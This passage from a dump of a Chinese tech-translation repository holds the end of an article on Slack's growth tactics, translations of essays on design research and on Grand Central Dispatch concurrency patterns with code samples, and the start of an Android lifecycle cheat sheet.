MetaLab for Slack. Image via MetaLab.*\n\n### **Freemium Model Hack**\n\nPricing is, no doubt, one of the most critical aspects of a SAAS organization, and thanks to today’s technology, it is easier (and more economical) to offer a free trial or any other free features to get the attention of your targeted audience.\n\nMany customers buying things online can be risk-averse, and they want to test your product to see if this suits their requirements before actually considering to start paying for it.\n\nSlack’s freemium model makes it super-easy and ideal for people to try without any initial payments. Their pricing policy is simple and straight.\n\n![](https://cdn-images-1.medium.com/max/1600/0*8xSEpAMfQ29JbyHk.)\n\n![](https://cdn-images-1.medium.com/max/1600/0*PTdFgGcfONwrV4v0.)\n\n*Price Packages of ‘Slack for Teams’. Image via Slack.com*\n\nAs you can see, the free plan is** pretty feature-rich** and, unlike some apps which need you to enter your credit card details even if you are using the free/trial version, one just has to **download Slack and get going with it**!\n\n### **Minimal Features Hack**\n\nSince the beginning, Slack didn’t focus on too many features, and they just wanted to be the best in what they were building with one or two main benefits.\n\nIf you are a part of any channel/group on Slack, you want to know **what’s happening within the team** and the **general status of things** immediately. You can **tag any of your colleague**s and direct your message to him/her, and for some reason, the notifications on a Slack create **a sense of urgency** which is harder to ignore as compared to incoming emails.\n\n### **Word of Mouth Marketing Hacks**\n\nWhile it is easy to be lost in the maze of online marketing technologies, it is interesting that Slack has proven the fact that word of mouth marketing still works. People still believe something that other people (such as their friends or colleagues) tell them.\n\nButterfield himself used to share a lot of articles and news about Slack on social media channels as well as with his immediate friend so as to know what they think. Some of his friends were entrepreneurs, and hence startups started trying out Slack, and word of mouth helped Slack. As a result, the number of startups using Slack started growing immediately. Many influential companies started using Slack and spreading the word about it and this boosted others to try Slack.\n\nThis tweet was by Slack investor Marc Andreessen on August 2014 about the Slack’s word of mouth growth.\n\n![](https://cdn-images-1.medium.com/max/1600/0*moN2945Vq12GHFlq.)\n\n*Slack user growth chart by Marc Andreessen via Twitter*\n\n***Source****: *[*Quartz*](https://qz.com/249222/slacks-explosive-word-of-mouth-growth-in-one-amazing-chart/)\n\n### **User Feedback Hack**\n\nSlack gave importance to pull marketing rather than a push marketing strategy. It started becoming too serious about its early customer comments, feedbacks and hence did a lot of A/B testing, focus group surveys, and this helped Slack to build what people wanted.\n\nSlack is one company that carefully listens to what their customers are saying about their product, making active listening the core competency, they try to solve every problem their customers encounter, and this process is in place even now.\n\n### **Twitter Hack**\n\nTwitter is one social network Slack is heavily dependent on to interact with its customers and fans. You can see that by the incredible number of tweets and replies by Slack. Slack in its early stage as a startup knew the importance of customer engagement and brilliantly started using Twitter as one of their social channels other than YouTube to share stories of people and companies using Slack.\n\nJoined on March 2013, Slack interacts with its audience in numerous ways. Slack has an incredible follower base of 297k with 147k total tweets as of now (at the time when this article was being written). Slack always has believed in the word of mouth marketing, but it 2015 it took it up a notch when it created another twitter account for showcasing tweets from the people who like and tweet to Slack showing their appreciation for the service. It created a huge buzz and benefitted Slack for sure.\n\n### **Referral Loop Hack**\n\nOne thing that differentiates Slack is its referral hack; anybody can create their community around their interest and invite people around the world. While, many other services give you this opportunity, But you need to follow a particular set of rules and regulations to create your community, and most of the times it will not be free. Slack has an advantage here, to build community for free and refer anyone without any harder rules to follow. Every company now is shifting from their home built communication channel to Slack because of it’s easy to invite and chat option.\n\n![](https://cdn-images-1.medium.com/max/1600/0*dqcXo5rW4N6VaEUe.)\n\n*Different avatars, Image via Slack.com*\n\nAs [mentioned in TNW](https://thenextweb.com/insider/2015/03/24/slack-is-quietly-unintentionally-killing-irc/#.tnw_oJAigD0o), not only does Slack has communities around different interests (such as startups, music, design) but communities based elsewhere are moving to Slack. For instance, [WordPress.org](http://wordpress.org/), the community behind WordPress’ open-source software, [abandoned its IRC channel and shifted to Slack](https://make.wordpress.org/chat/), citing that IRC is complicated and unfriendly. Easy referral process is one thing that has helped Slack to grow its user base.\n\n### **Integrations Hack**\n\nIf you have noticed one thing, Slack has this unique feature of easily integrating with any app, and in particular, with those apps that startups mostly use, and hence many startup companies find Slack a very useful tool they require to streamline their communication within the organization.\n\nThere are so many categories of apps you can integrate with Slack. Analytics, Sales, Customer service, Developer tools, HR, Marketing, Social Media, etc\n\n![](https://cdn-images-1.medium.com/max/1600/0*LANpDes9QI4y5Z9D.)\n\n*Slack App Directory, Image via Slack.com*\n\nSlack is also one of the most important tools to do DevOps (a software development practice) since it can be integrated well with any developer tool and it helps increase the organization’s productivity through collaboration.\n\nApp integrations can become one of the best growth hacking strategy for companies when carried out properly. ***For example***, you can integrate Slack with Asana, an application designed to help teams track their work and with this integration, you can quickly receive updates in Slack when a task is created, completed, or commented and this helps you can easily track the progress of any project in your organization.\n\nThese videos will give you an idea on how some successful companies are using Slack and growing their business through collaboration\n\n[![](https://i.ytimg.com/vi_webp/lhjYjd_yosg/maxresdefault.webp)](https://www.youtube.com/embed/lhjYjd_yosg)\n\n[![](https://i.ytimg.com/vi_webp/gZwDtNszIlo/maxresdefault.webp)](https://www.youtube.com/embed/gZwDtNszIlo)\n\n[![](https://i.ytimg.com/vi_webp/wvPBAYQzH0g/maxresdefault.webp)](https://www.youtube.com/embed/wvPBAYQzH0g)\n\n**Slack is not your another boring chat tool. It has got SWAG!**\n\n***Note***: I am just getting started to be a guest contributor at authority sites to establish credibility for my work and provide value to as many readers as possible.\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  "
  },
  {
    "path": "TODO/the-9-rules-of-design-research.md",
    "content": "> * 原文地址：[The 9 Rules of Design Research](https://medium.com/mule-design/the-9-rules-of-design-research-1a273fdd1d3b?ref=uxdesignweekly)\n> * 原文作者：[Erika Hall](https://medium.com/@mulegirl?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-9-rules-of-design-research.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-9-rules-of-design-research.md)\n> * 译者：[zhmhhu](https://github.com/zhmhhu)\n> * 校对者：[Starriers](https://github.com/Starriers)\n\n# 设计研究的 9 条规则\n\n![](https://cdn-images-1.medium.com/max/2000/1*Q5-y_Q5CnX4oKHnlM5vUOA.jpeg)\n\n[Kathleen Borgmeyer](https://www.flickr.com/photos/landhofgreaterswiss/) 家的全部九只小狗。\n\n最近，我注意到早期阶段的创业公司和老牌机构对研究的热情高涨。企业已经认识到，要想进行有意义的创新就需要将客户理解为具有多彩生活的人类。\n\n这真的不可思议。\n\n我也听到过许多相同的谬见、误解和冲突。所以，为了帮助读者 —— 因为我喜欢帮助别人 —— 这里有一份广泛分享的简单实用的设计清单（我确信，研究证明读者将喜欢这份清单的观点，就像喜欢那些小狗一样）。\n\n#### 1. 让舒服变得不舒服\n\n**“我所知道的一切就是我什么都不知道。” —— 苏格拉**\n\n在我们成长过程中总是重视答案和恐惧问题。我们因在学校指出正确答案而获得奖励，我们因在工作中提出好点子而获得奖励。难怪有这么多人找理由避免做研究，特别是定性研究。很多人对于缺少资料的研究充满焦虑。至少定量的东西能舒舒服服的进行标准化测试。保持研究思维意味着你必须明白偏见无处不在，确定性犹如幻觉，答案却只有短暂的有效期。从长远来看，一个好的问题更有价值。如果你不承认自己没有答案，你就不能提出很好的问题 —— 这意味着你将无法学习新的东西。\n\n#### 2. 先提问，再做原型\n\n**“如果我们只测试开瓶器，我们可能永远不会意识到客户更喜欢螺旋瓶。” —— Victor Lombardi,** [**为什么我们会失败**](http://rosenfeldmedia.com/books/why-we-fail/)\n\n当然，赶快做原型并对原型进行测试不会错。原型是一个有形的答案，即使它只是一份在纸上的素描。这比提问要舒服多了，即使这无异于烧掉了一大笔钱。对于那些喜欢做出快速和明显的进步来证明其价值的人来说，简单地问些问题就像[浣熊洗棉花糖](https://www.youtube.com/watch?v=qkTzDh8IKNU)一样做无用功。\n\n过早制作原型，就好像不计成本地将资源投资在一个无人回答的问题上一样充满危险。测试一个原型可以帮助你完善已经很好的想法，而不是告诉你是否正确地解决了问题。而且很容易将原型的改善误认为是想法的质量（**cough** Juicero **cough**）。不管有用与否，也很容易将研究报告的注解误认为洞察力的价值。\n\n提出正确的问题可以帮助你更快地识别并消除不良想法，而不是保存和捍卫无力的想法。你必须足够坚强才能接受错误。\n\n#### 3.了解你的目标\n\n除非你**事先**知道为什么要这么做，否则提问题就是在浪费时间。而且你必须公开宣称你的理由不是“求证”。这是**每个人**的秘密目标。见＃1。\n\n通常在热衷于研究的情况下，团队会在没有明确共同的目标的情况下开始与客户交谈。然后，他们觉得自己花了宝贵的时间，却不明白该如何运用他们所学的知识，因而没有什么可以展示的。这导致了诸如“我们去年尝试做研究并且浪费了时间”这样的结果。因此，又恢复到了舒舒服服做工作和做测试的状态。或者，他们对他们所听到的内容有不同的解释，这会导致更多关于谁被证明是正确的争论。\n\n在大型组织中，不言而喻的目标有时“表现出对研究的承诺，同时允许我们的产品领导者做他们想做的事情”。这听起来可能很愤世嫉俗，但我曾与资金雄厚的研究部门的许多熟练从业人员进行了交流，他们撰写的报告对决策影响不大。承认这种情况是阻止它的第一步。\n\n这很好，也是一个很好的开始，因为你的目标是“我们需要确定层次并[快速理解那些不是我们的人的观点](https://medium.com/research-things/minimum-viable-ethnography-a047e9358df0)”。在事实发生之后，不要着眼于其他目标。\n\n只有在你有一个目标之后，你才会知道你需要知道什么。你必须知道你的问题，然后才能选择如何回答它。\n\n#### 4. 在重大问题上达成一致\n\n**“所有业务的核心都是关于人类行为的赌注。”**\n—— **[‘Thick’ 数据的力量](https://www.wsj.com/articles/the-power-of-thick-data-1395443491), WSJ**\n\n问题的质量决定了结果的实用性。提出错误的问题如同为错误的问题制定解决方案一样。他们都会给你一些你需要的东西。从你的高优先级问题开始。这些来自无知的假设或领域，如果你错了，它们会带来最大的风险。\n\n**重大问题是你想知道的，而不是你在面试时要问的问题。** 事实上，直接询问你的研究问题通常是学习任何事物的最糟糕的方式。人们通常不知道或不愿意承认自己的真实行为，但每个人都非常善于提出答案。\n\n设计研究一直与用户研究混为一谈。与用户代表交谈只是[回答高优先级研究问题的众多方法之一](https://abookapart.com/products/just-enough-research)。并非所有你需要知道的都是关于用户的。\n\n通常最关键的问题类似于“基于种种迹象，关于我们的客户/竞争对手/内部能力，我们**真正**了解的是什么？”。这可能是一个非常可怕的方法，但是在一小时内你应该能够回答它。\n\n#### 5. 总是有足够的时间和资金\n\n当研究被定义为设计之外的一种工作类型时，很容易将收集证据定义为额外的工作，并找借口不去这么做。\n\n通常，团队必须征得权威人士的许可才能开展相关的研究工作。[提出问题本身就是对权威的威胁](https://deardesignstudent.com/the-secret-cost-of-research-fbe95739afdd)。如果你曾经与一位拒绝定性研究（这一研究是某百万美元项目的一部分）的领导者合作过，那么问问自己，他们是否会在购买一辆 5 万美元的汽车之前跳过自己的调查。陈述的反对意见往往会因为害怕被破坏或被证明是错误的或者没有以正确的方式发挥作用而被掩盖。\n\n如果你对自己的目标和高优先级问题清楚坦率，那么你可以在任何时间和预算内获得有用的信息。在线查找研究资料。在午餐时间到外面去观察他人。测试别人产品的通用性。获得创意。\n\n[千万不要去做问卷调查](https://medium.com/mule-design/on-surveys-5a73dda5e9a0)。\n\n#### 6. 不要期望用数据改变想法\n\n**“当一个人的薪水依赖于他所不了解的领域时，很难让他理解这一领域的事情。” —— Upton Sinclair**\n\n尽管[研究证明它是真实的](https://www.newyorker.com/magazine/2017/02/27/why-facts-dont-change-our-minds)，但对于训练有素的专业研究人员来说，这往往也难以接受。如果你习惯与重视某种数据的社区同行合作，那么你可能没有足够的能力说服人们放弃手中的数据。数据不足的问题，也会让人感觉是对个人专业能力的侮辱。\n\n收集证据的重点在于做出基于证据的决定。如果这些证据破坏或违背了有权作出决定的人的信念，他们会找到拒绝或忽视的理由。这也是定性研究人员在一些工程驱动的组织中难以为继的核心。对数字感觉舒适且能胜任的人希望得到数字答案，即使这个问题需要一些更具描述性的东西。\n\n因此，在尝试使用数据来影响这些决策之前，你必须将民族意志带入其中并[了解你的同事和领导人如何做出决定](https://medium.com/mule-design/everyday-empathy-6a475e03fd81) 。\n\n#### 7. 拥抱不完美\n\n**“人类是多变、愚蠢而健忘的动物，在自我毁灭方面倒是才智出众。” —— Suzanne Collins, Mockingjay**\n\n人的生活是混乱的。如果人们没有问题，就不需要产品和服务来解决问题，我们也就没有工作。找出为人们解决问题的最佳方式，需要在真实、混乱的世界中花些时间，并放开一定程度的控制。尽管一个合乎伦理的、严谨的方法是有必要的，但也没有一片真正意义上的净土。一个明确的目标和一个好问题可以承受各种不可预测的情况。\n\n当一些不太正式的方法会更有效的时候，对于规范的、舒适的、看起来非常专业的行动的渴望就会导致[小组讨论](https://medium.com/mule-design/focus-groups-are-worthless-7d30891e58f1)、可用性测试、眼球追踪、[问卷调查](https://medium.com/mule-design/on-surveys-5a73dda5e9a0)和正式报告的不适当使用。\n\n将证据纳入设计决策本身就是一个学习的过程。你永远找不到正确的答案并完成任务。如果过程有效，你将继续以越来越高的自信心做出决定。\n\n#### 8. 精诚合作\n\n从事同一件事的每个人都需要在相同的共享环境中工作。作出关于产品决策的人员需要是最明智的。对于知识有多么好其实并不重要，如果知识只在一个人的头脑里，那么知识的好坏并不重要（除非你在伦敦，而那个人是你的出租车司机）。\n\n没有合作的研究意味着，一组人在学习和创建报告，另一组人可能承认或忽略这些报告。即使是最强大的团队，这样工作也会遗漏知识。没有凭据的合作意味着每个人都可以以自己的偏好行事。这些都不是最有成效的方法。\n\n直接参与创建产品的人员提出问题和回答问题是最有成效的方法。而且它也很有趣。有几种方法可以实现这一点取决于你所在的组织。\n\n提出问题的重点在于建立共同的决策框架，以便你可以更快地做出更好的决策。[我为此创立了一个研讨会](https://muledesign.com/research-together)。它将改变生活。\n\n#### 9.找到你的偏见伙伴\n\n**“我们可以对显而易见的事物视而不见，我们也可以对我们的盲目视而不见。** [**思考，快与慢**](https://www.amazon.com/Thinking-Fast-Slow-Daniel-Kahneman/dp/0374533555)\n\n所以，你做了这项工作，找到了一些答案。现在你需要确定他们的意思。在开始解释研究结果时，协作变得尤为重要。每个人在脑子里都有个人偏见。而且没有办法感觉到自己的偏见。我们看到的都是契合我们信仰的东西。所以，我们必须参考一个外部标准（包括预先制定的目标和问题）并一起工作来检查对方。\n\n这与你的聪明程度或知情程度无关。一旦你接受了这一点，并且只要你在一个表现出心理安全和相互尊重的团队中工作，这可能是一个有趣的游戏，以识别偏差并将其剔除出去。\n\n[维基百科](https://en.wikipedia.org/wiki/List_of_cognitive_biases)上有一个很好的列表，以及 Cognitive Bias Codex 可以打印和贴在你的墙上。\n\n#### 也许，设计只是貌似正确\n\n总而言之，当我们谈论设计研究时，我们所谈论的实际上是在做[基于证据的设计](https://medium.com/mule-design/lets-stop-doing-research-48efcd7118c9)。创作、批评和探究都是设计过程的组成部分。将他们分开导致从无知、自我或恐惧中优化错误的事物。\n\n设计是一种价值交换。在对世人展示你的任何作品之前，你必须先问人们真正需要和重视什么，以及你期望获得什么商业价值。\n\n只要你在方法上遵守道德，诚实地对待你所知道的事情，并且为自己设定一个有价值的目标，无论你问什么样的问题或如何找到答案都没有关系。没有永远正确的方法，也没有永远正确的答案。享受不确定性，因为它自始自终都是这样。\n\n* * *\n\n你好！如果你已经完成了一切，你就会想：“嘿！这是我的团队可以获得帮助的东西，”我会很高兴地在你的办公室流连一天，并[和你一起做研究](https://muledesign.com/research-together)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/the-GCD-handbook.md",
    "content": ">* 原文链接 : [The GCD Handbook](http://khanlou.com/2016/04/the-GCD-handbook/)\n* 原文作者 : [Soroush](soroush@khanlou.com.)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [LoneyIsError](https://github.com/LoneyIsError)\n* 校对者:[woopqww111](https://github.com/woopqww111), [hsinshufan](https://github.com/hsinshufan)\n\n# 给 iOS 开发者的 GCD 用户手册\n\nGrand Central Dispatch,或者GCD，是一个极其强大的工具。它给你一些底层的组件，像队列和信号量，让你可以通过一些有趣的方式来获得有用的多线程效果。可惜的是，这个基于C的API是一个有点神秘，它不会明显的告诉你如何使用这个底层组件来实现更高层次的方法。在这篇文章中，我希望描述那些你可以通过GCD提供给你的底层组件来实现的一些用法。\n\n\n### 后台工作\n\n\n也许最简单的用法，GCD让你在后台线程上做一些工作，然后回到主线程继续处理，因为像那些属于 `UIKit` 的组件只能（主要）在主线程中使用。\n\n在本指南中，我将使用 `doSomeExpensiveWork()` 方法来表示一些长时间运行的有返回值的任务。\n\n这种模式可以像这样建立起来：\n\n\n    let defaultPriority = DISPATCH_QUEUE_PRIORITY_DEFAULT\n    let backgroundQueue = dispatch_get_global_queue(defaultPriority, 0)\n    dispatch_async(backgroundQueue, {\n    \tlet result = doSomeExpensiveWork()\n    \tdispatch_async(dispatch_get_main_queue(), {\n    \t\t//use `result` somehow\n    \t})\n    })\n\n\n\n\n在实践中，我从不使用任何队列优先级除了 `DISPATCH_QUEUE_PRIORITY_DEFAULT` 。这返回一个队列，它可以支持数百个线程的执行。如果你的耗性能的工作总是在一个特定的后台队列中发生，你也可用通过 `dispatch_queue_create` 方法来创建自己的队列。 `dispatch_queue_create` 可以创建一个任意名称的队列，无论它是串行的还是并行的。\n\n注意每一个调用使用 `dispatch_async` ，不使用 `dispatch_sync` 。`dispatch_async` 在 block 执行前返回，而 `dispatch_sync` 会等到 block 执行完毕才返回。内部的调用可以使用 `dispatch_sync`（因为不管它什么时候返回），但外部必须调用 `dispatch_async` （否则，主线程会被阻塞）。\n\n### 创建单例\n\n \n`dispatch_once` 是一个可以被用来创建单例的API。在 Swift 中它不再是必要的，因为 Swift 中有一个更简单的方法来创建单例。为了以后，当然，我把它写在这里（用 Objective-C ）。\n\n    + (instancetype) sharedInstance {  \n    \tstatic dispatch_once_t onceToken;  \n    \tstatic id sharedInstance;  \n    \tdispatch_once(&onceToken, ^{  \n    \t\tsharedInstance = [[self alloc] init];  \n    \t});  \n    \treturn sharedInstance;  \n    }  \n\n\n\n### 扁平化一个完整的block\n\n现在 GCD 开始变得有趣了。使用一个信号量，我们可以让一个线程暂停任意时间，直到另一个线程向它发送一个信号。这个信号量，就像 GCD 其余部分一样，是线程安全的，并且他们可以从任何地方被触发。\n\n当你需要去同步一个你不能修改的异步API时，你可以使用信号量解决问题。\n\n\n    // on a background queue\n    dispatch_semaphore_t semaphore = dispatch_semaphore_create(0)\n    doSomeExpensiveWorkAsynchronously(completionBlock: {\n        dispatch_semaphore_signal(semaphore)\n    })\n    dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER)\n    //the expensive asynchronous work is now done\n\n\n\n`dispatch_semaphore_wait` 会阻塞线程直到 `dispatch_semaphore_signal` 被调用。这就意味着 `signal` 一定要在另外一个线程中被调用，因为当前线程被完全阻塞。此外，你不应该在在主线程中调用 `wait` ，只能在后台线程。\n\n在调用 `dispatch_semaphore_wait` 时你可以选择任意的超时时间，但是我倾向于一直使用 `DISPATCH_TIME_FOREVER` 。\n\n\n这可能不是完全显而易见的，为什么你要把已有的一个完整的 block 代码变为扁平化，但它确实很方便。我最近使用的一种情况是，执行一系列必须连续发生的异步任务。这个使用这种方式的简单抽象被称作 `AsyncSerialWorker` :\n\n    typealias DoneBlock = () -> ()\n    typealias WorkBlock = (DoneBlock) -> ()\n\n    class AsyncSerialWorker {\n        private let serialQueue = dispatch_queue_create(\"com.khanlou.serial.queue\", DISPATCH_QUEUE_SERIAL)\n\n        func enqueueWork(work: WorkBlock) {\n            dispatch_async(serialQueue) {\n                let semaphore = dispatch_semaphore_create(0)\n                work({\n                    dispatch_semaphore_signal(semaphore)\n                })\n                dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER)\n            }\n        }\n    }\n\n\n\n这一小类可以创建一个串行队列，并允许你将工作添加到 block 中。当你的工作完成后， `WorkBlock` 会调用 `DoneBlock` ，开启信号量，并允许串行队列继续。\n\n### 限制并发 block 的数量。\n\n在前面的例子中，信号量作为一个简单的标志，但它也可以被用来作为一种有限的资源计数器。如果你想在一个特定资源上打开特定数量的连接，你可以使用下面的代码：\n\n    class LimitedWorker {\n        private let concurrentQueue = dispatch_queue_create(\"com.khanlou.concurrent.queue\", DISPATCH_QUEUE_CONCURRENT)\n        private let semaphore: dispatch_semaphore_t\n\n        init(limit: Int) {\n        \tsemaphore = dispatch_semaphore_create(limit)\n        }\n\n        func enqueueWork(work: () -> ()) {\n            dispatch_async(concurrentQueue) {\n                dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER)\n                work()\n                dispatch_semaphore_signal(semaphore)\n            }\n        }\n    }\n\n\n\n这个例子从苹果的[Concurrency Programming Guide](https://developer.apple.com/library/ios/documentation/General/Conceptual/ConcurrencyProgrammingGuide/OperationQueues/OperationQueues.html#//apple_ref/doc/uid/TP40008091-CH102-SW24)拿来的。他们可以更好的解释在这里发生了什么：\n\n> 当你创建一个信号量时，你可以指定你的可用资源的数量。这个值是信号量的初始计数变量。你每一次等待信号量发送信号时，这个  `dispatch_semaphore_wait` 方法使计数变量递减1。如果产生的值是负的，则函数告诉内核来阻止你的线程。在另一端，这个 `dispatch_semaphore_signal` 函数递增count变量用1表示资源已被释放。如果有任务阻塞和等待资源，其中一个随即被放行并进行它的工作。\n\n其效果类似于 `maxConcurrentOperationCount` 在 `NSOperationQueue` 。如果你使用原 GCD队 列而不是 `NSOperationQueue`，你可以使用信号庄主来限制同时执行的 block 数量。\n\n一个值得注意的就是，每次你调用 `enqueueWork` ，如果你打开信号量的限制，就会启动一个新线程。如果你有一个低限并且大量工作的队列，您可以创建数百个线程。一如既往，先配置文件，然后更改代码。\n\n### 等待许多并发任务来完成\n\n如果你有多 block 工作来执行，并且在他们集体完成时你需要发一个通知，你可以使用 group 。`dispatch_group_async` 允许你在队列中添加工作（在 block 里面的工作应该是同步的），并且记录添加了多少了项目。注意，在同一个 dispatch group 中可以将工作添加到不同的队列中，并且可以跟踪它们。当所有跟踪的工作完成，这个 block 开始运行 `dispatch_group_notify` ，就像是一个完整的 block 。\n\n\n    dispatch_group_t group = dispatch_group_create()\n    for item in someArray {\n    \tdispatch_group_async(group, backgroundQueue, {\n    \t\tperformExpensiveWork(item: item)\n    \t})\n    }\n    dispatch_group_notify(group, dispatch_get_main_queue(), {\n    \t// all the work is complete\n    }\n\n\n\n拥有一个完整的block，对于扁平化一个功能来说是一个很好的案例。 dispatch group 认为，当它返回时，这个 block 应该完成了，所以你需要这个 block 等待直到其他工作已经完成。\n\n有更多的手动方式来使用 dispatch groups ，特别是如果你耗性能的工作已经是异步的：\n\n\n    // must be on a background thread\n    dispatch_group_t group = dispatch_group_create()\n    for item in someArray {\n    \tdispatch_group_enter(group)\n    \tperformExpensiveAsyncWork(item: item, completionBlock: {\n    \t\tdispatch_group_leave(group)\n    \t})\n    }\n\n    dispatch_group_wait(group, DISPATCH_TIME_FOREVER)\n\n    // all the work is complete\n\n\n\n这段代码是比较复杂的，但通过一行一行的阅读可以帮助理解它。就像信号量，groups 也还保持线程安全，是一个你可以操作的内部计数器。您可以使用此计数器来确保在执行完成 block 之前，多个长的运行任务都已完成。使用 “enter” 递增计数器，并用 “leave” 递减计数器。 `dispatch_group_async` 为你处理所有的这些细节，所以我愿意尽可能的使用它。\n\n在这段代码的最后一点是 `wait` 方法：它会阻塞线程，并等待计数器为0后，继续执行。注意，即使你使用了`enter`/`leave` API，你也可以在在队列中添加一个 `dispatch_group_notify` block.反过来也是对的：当你使用 `dispatch_group_async` API时你也可以使用 `dispatch_group_wait` 。\n\n`dispatch_group_wait`，就像`dispatch_semaphore_wait`一样，可以设置超时。再一次声明，`DISPATCH_TIME_FOREVER` 已非常足够使用, 我从未觉得需要使用其他的来设置超时。当然就像 `dispatch_semaphore_wait` 一样，永远不要在主线程使用 `dispatch_group_wait` 。\n\n两者之间最大的区别是，使用 `notify` 可以完全从主线程调用，而使用 `wait`，必须发生在后台队列（至少 `wait` 的部分，因为它会完全阻塞当前队列）。\n\n### 隔离队列\n\n Swift 语言的 `Dictionary` （和  `Array` ）类型都是值类型。 当他们被改变时, 他们的引用会完全被新的结构给替代。当然，因为更新实例变量的 Swift 对象不是原子性的，它们不是线程安全的。双线程可以在同一时间更新一个字典（例如，增加一个值），并且两个尝试写在同一块内存，这可能导致内存损坏。我们可以使用隔离队列来实现线程安全。\n让我们创建一个 [identity map] (http://martinfowler.com/eaaCatalog/identityMap.html)。 identity map 是一个字典，将项目从其`ID` 属性映射到模型对象。\n\n\n    class IdentityMap<T: Identifiable> {\n    \tvar dictionary = Dictionary<String, T>()\n\n    \tfunc object(forID ID: String) -> T? {\n    \t\treturn dictionary[ID] as T?\n    \t}\n\n    \tfunc addObject(object: T) {\n    \t\tdictionary[object.ID] = object\n    \t}\n    }\n\n\n\n这个对象基本上是一个字典的包装器。如果我们的方法 `addObject` 同一时间被多个线程所调用，它可能会损害内存，因为这些线程对对同一个引用进行处理。这被称之为 [readers-writers problem](https://en.wikipedia.org/wiki/Readers–writers_problem)。总之，我们可以同时有多个读者阅读，但是只有一个线程可以在任何给定的时间写。\n幸运的是，GCD 给了我们很好的工具去处理这样的情况。我们可以使用以下四种 API ：\n\n*   `dispatch_sync`\n*   `dispatch_async`\n*   `dispatch_barrier_sync`\n*   `dispatch_barrier_async`\n\n我们理想的情况是，读同步，同时，而写可以异步，当引用该对象时必须是唯一的。 GCD 的 `barrier` API集可以做一些特别的事情：他们执行 block 之前必须等到队列完全空了。使用 `barrier` API去进行字典写入的操作将会被限制，这样确保我们永远不会有任何写入发生在同一时间，无论是读取或是写入。\n\n\n    class IdentityMap<T: Identifiable> {\n    \tvar dictionary = Dictionary<String, T>()\n    \tlet accessQueue = dispatch_queue_create(\"com.khanlou.isolation.queue\", DISPATCH_QUEUE_CONCURRENT)\n\n    \tfunc object(withID ID: String) -> T? {\n    \t\tvar result: T? = nil\n    \t\tdispatch_sync(accessQueue, {\n    \t\t\tresult = dictionary[ID] as T?\n    \t\t})\n    \t\treturn result\n    \t}\n\n    \tfunc addObject(object: T) {\n    \t\tdispatch_barrier_async(accessQueue, {\n    \t\t\tdictionary[object.ID] = object\n    \t\t})\n    \t}\n    }\n\n\n\n`dispatch_sync` 将 block 添加到我们的隔离队列，然后等待它在返回之前执行。这样，我们就会有我们的同步阅读的结果。（如果我们没有做到同步，我们的 getter 方法可能需要一个完成的 block 。）因为 `accessQueue` 是并发的，这些同步读取就能同时发生。\n`dispatch_barrier_async` 将 block 添加到隔离队列。这个 `async` 部分意味着它将实际执行的 block 之前返回（执行写入操作）。这对我们的表现有好处，但也有一个缺点是，在 “write” 操作后立即执行 “read” 操作可能会导致获取改变之前的旧数据。\n这个 `dispatch_barrier_async` 的 `barrier` 部分，意味着它将等待直到当前运行队列中的每个 block 执行完毕后才执行。其他 block 将在它后面排队，当barrier调度完成时执行。\n\n### 总结\nGrand Central Dispatch 是一个有很多底层语言的框架。使用它们，这个是我能建立的比较高级的技术。如果有其他一些你使用的GCD的高级用法而我没有罗列在这里，我喜欢听到它们并将它们添加到列表中。\n"
  },
  {
    "path": "TODO/the-android-lifecycle-cheat-sheet-part-i-single-activities.md",
    "content": "> * 原文地址：[The Android Lifecycle cheat sheet — part I: Single Activities](https://medium.com/google-developers/the-android-lifecycle-cheat-sheet-part-i-single-activities-e49fd3d202ab)\n> * 原文作者：[Jose Alcérreca](https://medium.com/@JoseAlcerreca?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-android-lifecycle-cheat-sheet-part-i-single-activities.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-android-lifecycle-cheat-sheet-part-i-single-activities.md)\n> * 译者：[IllllllIIl](https://github.com/IllllllIIl)\n> * 校对者：[tanglie1993](https://github.com/tanglie1993)，[atuooo](https://github.com/atuooo)\n\n# Android 生命周期备忘录 — 第一部分：单一 Activities\n\nAndroid 系统的目的是让用户增强控制权并且让他们简便地使用应用程序。例如，一个 app 的用户可能会旋转屏幕，回复一条通知信息，或者切换到另一个任务，而用户应该能够在这类操作后继续流畅地使用这个 app。\n\n为了提供这种用户体验，你应该知道怎么管理组件的生命周期。组件可以是一个 Activity，一个 Fragment，一个 Service，或者 Application 